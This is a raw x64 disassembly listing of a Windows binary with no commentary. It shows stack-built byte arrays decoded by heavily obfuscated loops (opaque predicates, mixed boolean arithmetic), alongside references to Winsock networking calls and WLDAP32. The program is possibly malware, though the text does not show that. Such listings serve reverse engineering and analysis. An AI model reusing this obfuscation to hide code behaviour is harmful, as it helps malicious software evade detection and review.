mov byte [rbp + 0xa2d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa2e], 0x78
mov byte [rbp + 0xa2f], Ordinal_50
mov byte [rbp + 0xa30], Ordinal_143
mov byte [rbp + 0xa31], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa32], 0xb3
mov byte [rbp + 0xa33], Ordinal_46
mov byte [rbp + 0xa34], 0xb2
mov byte [rbp + 0xa35], Ordinal_41
mov byte [rbp + 0xa36], Ordinal_41
mov byte [rbp + 0xa37], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa38], rax
mov dword [rbp + 0xa40], eax
mov word [rbp + 0xa44], ax
mov byte [rbp + 0xa46], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140156c30
movzx r8d, byte [rbp + r9 + 0xa00]
mov rdx, r8
cmp rdi, r9
ja 0x140156c27
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140156140
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x140156177
je 0x140156ba3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140156b75
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140156b53
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140156b05
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140156c1e
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401561aa
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14015636d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140156af4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140156ad1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140156a85
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140156a5f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401569d3
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401566a2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015667c
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140156659
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140156633
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140156611
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401565fd
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401565db
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401565c7
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140156bfb
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140156bd5
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14015639a
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140156374
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140156351
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140156563
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401564dc
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401564b6
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140156493
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015647f
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14015645c
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140156439
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140156415
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401563f3
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401563df
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401563bd
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401561f8
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401561f8
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401561eb
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140156177
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x140156108
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140156b26
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x1401567a3
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140156b70
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140156aa1
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140156b92
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140156b95
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401569e2
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140156a28
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140156bbe
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x140156987
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14015686f
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14015697a
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140156b26
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x1401569ad
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140156760
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401564fa
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401569e2
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140156b95
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140156a6e
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140156aa3
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140156b70
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140156b4e
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156b26
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401566c8
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156584
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401566f7
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156bbe
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140156714
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401569e2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015673f
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140156b95
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140156584
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140156ae0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015678b
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x140156b26
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401567ba
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156b4e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401567e5
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140156b92
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140156811
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401569f4
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140156840
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156a28
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401564fa
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140156bbe
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015688c
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401566e0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401568a9
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401569e2
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401568d8
movabs rdx, 0x92d7ed3a34b0f7f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156b92
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140156903
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140156aa3
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015692e
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140156b70
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015694b
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401567a3
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140156531
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140156b26
mov byte [rbp + r9 + 0xa00], bl
jmp 0x140156bcd
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xa00]
sub bl, al
sub bl, 0x60
jmp 0x140156431
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xa00]
jmp 0x1401569ef
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa00], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140156bbe
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140156b92
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0xa00], r8b
jmp 0x140156b92
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156b70
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140156b14
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa00], cl
add r10, r15
jmp 0x140156b70
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x140156bcd
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140156bcd
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xa00]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401560f5
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401560f2
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401560e2
lea rdx, [rbp + 0x16f1130]
jmp 0x140156c37
lea rdx, [rbp + 0x68a494]
jmp 0x140156c37
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x138]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2740]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140156c6c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2740]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2740]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2740]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x700], 0xcb
mov byte [rbp + 0x701], Ordinal_143
mov byte [rbp + 0x702], 0xac
mov byte [rbp + 0x703], 0xf3
mov byte [rbp + 0x704], Ordinal_79
mov byte [rbp + 0x705], 0xf1
mov byte [rbp + 0x706], WSACleanup
mov byte [rbp + 0x707], 0xf7
mov byte [rbp + 0x708], 0x55
mov byte [rbp + 0x709], 0xf5
mov byte [rbp + 0x70a], 0xa2
mov byte [rbp + 0x70b], 0xfb
mov byte [rbp + 0x70c], 0x66
mov byte [rbp + 0x70d], 0xf9
mov byte [rbp + 0x70e], 0x55
mov byte [rbp + 0x70f], 0xff
mov byte [rbp + 0x710], 0x59
mov byte [rbp + 0x711], 0xfd
mov byte [rbp + 0x712], WSACleanup
mov byte [rbp + 0x713], 0xe3
mov byte [rbp + 0x714], 0x47
mov byte [rbp + 0x715], 0xe1
mov byte [rbp + 0x716], Ordinal_79
mov byte [rbp + 0x717], 0xe7
mov byte [rbp + 0x718], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x719], 0xe5
mov byte [rbp + 0x71a], 0x42
mov byte [rbp + 0x71b], 0xeb
mov byte [rbp + 0x71c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x71d], 0xe9
mov byte [rbp + 0x71e], r14b
mov byte [rbp + 0x71f], 0xef
mov byte [rbp + 0x720], 0xb8
mov byte [rbp + 0x721], 0xed
mov byte [rbp + 0x722], 0x87
mov byte [rbp + 0x723], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x724], 0x44
mov byte [rbp + 0x725], Ordinal_211
mov byte [rbp + 0x726], r14b
mov byte [rbp + 0x727], Ordinal_217
mov byte [rbp + 0x728], 0x81
mov byte [rbp + 0x729], Ordinal_217
mov byte [rbp + 0x72a], 0x7e
mov byte [rbp + 0x72b], 0xdb
mov byte [rbp + 0x72c], 0x7c
mov byte [rbp + 0x72d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x72e], WSACleanup
mov byte [rbp + 0x72f], 0xdf
mov byte [rbp + 0x730], Ordinal_143
mov byte [rbp + 0x731], 0xdd
mov byte [rbp + 0x732], 0x64
mov byte [rbp + 0x733], Ordinal_200
mov byte [rbp + 0x734], WSAGetLastError
mov byte [rbp + 0x735], 0xc1
mov byte [rbp + 0x736], 0x54
mov byte [rbp + 0x737], Ordinal_200
mov byte [rbp + 0x738], Ordinal_200
mov byte [rbp + 0x739], Ordinal_200
xor eax, eax
mov dword [rbp + 0x73a], eax
mov word [rbp + 0x73e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x140157a39
movzx r8d, byte [rbp + r9 + 0x700]
mov r11, r8
cmp rdi, r9
ja 0x140157a30
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140156eab
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x140156ee5
je 0x1401579a3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015794d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401578f7
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401578ce
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140157884
cmp r10, r9
ja 0x140157a27
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x140156f16
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x140156f4a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140157865
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140157843
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140157814
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401577f6
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401574d5
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401574b3
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14015749f
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015747c
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140157468
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140157446
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140157424
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140157410
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401573ee
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401573c8
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140156f57
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140157a01
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401579db
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140157154
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015712e
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14015710c
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140157330
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14015731f
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401572d1
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401572a3
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140156f57
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015727d
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015725b
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140157239
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140157213
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401571f1
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401571d0
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401571ad
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015718a
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140157176
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140156f57
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x140156f57
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x140156f4a
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140156ee5
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140156e74
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140157893
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401578c9
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401578ef
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140157794
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401577c3
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140157832
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140157917
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140157971
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401579c4
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x700], bl
jmp 0x1401579d3
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x1401572c4
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401578a5
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14015737b
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 6
je 0x1401577c8
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x1401575d2
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r14
jae 0x140157773
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1401576a0
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401572ee
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401579c4
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140157971
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140157805
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140157832
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401577c3
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401571df
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401578ef
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401575bb
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401578a5
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x140157500
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x140157351
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015752b
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401579c4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140157545
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x140157805
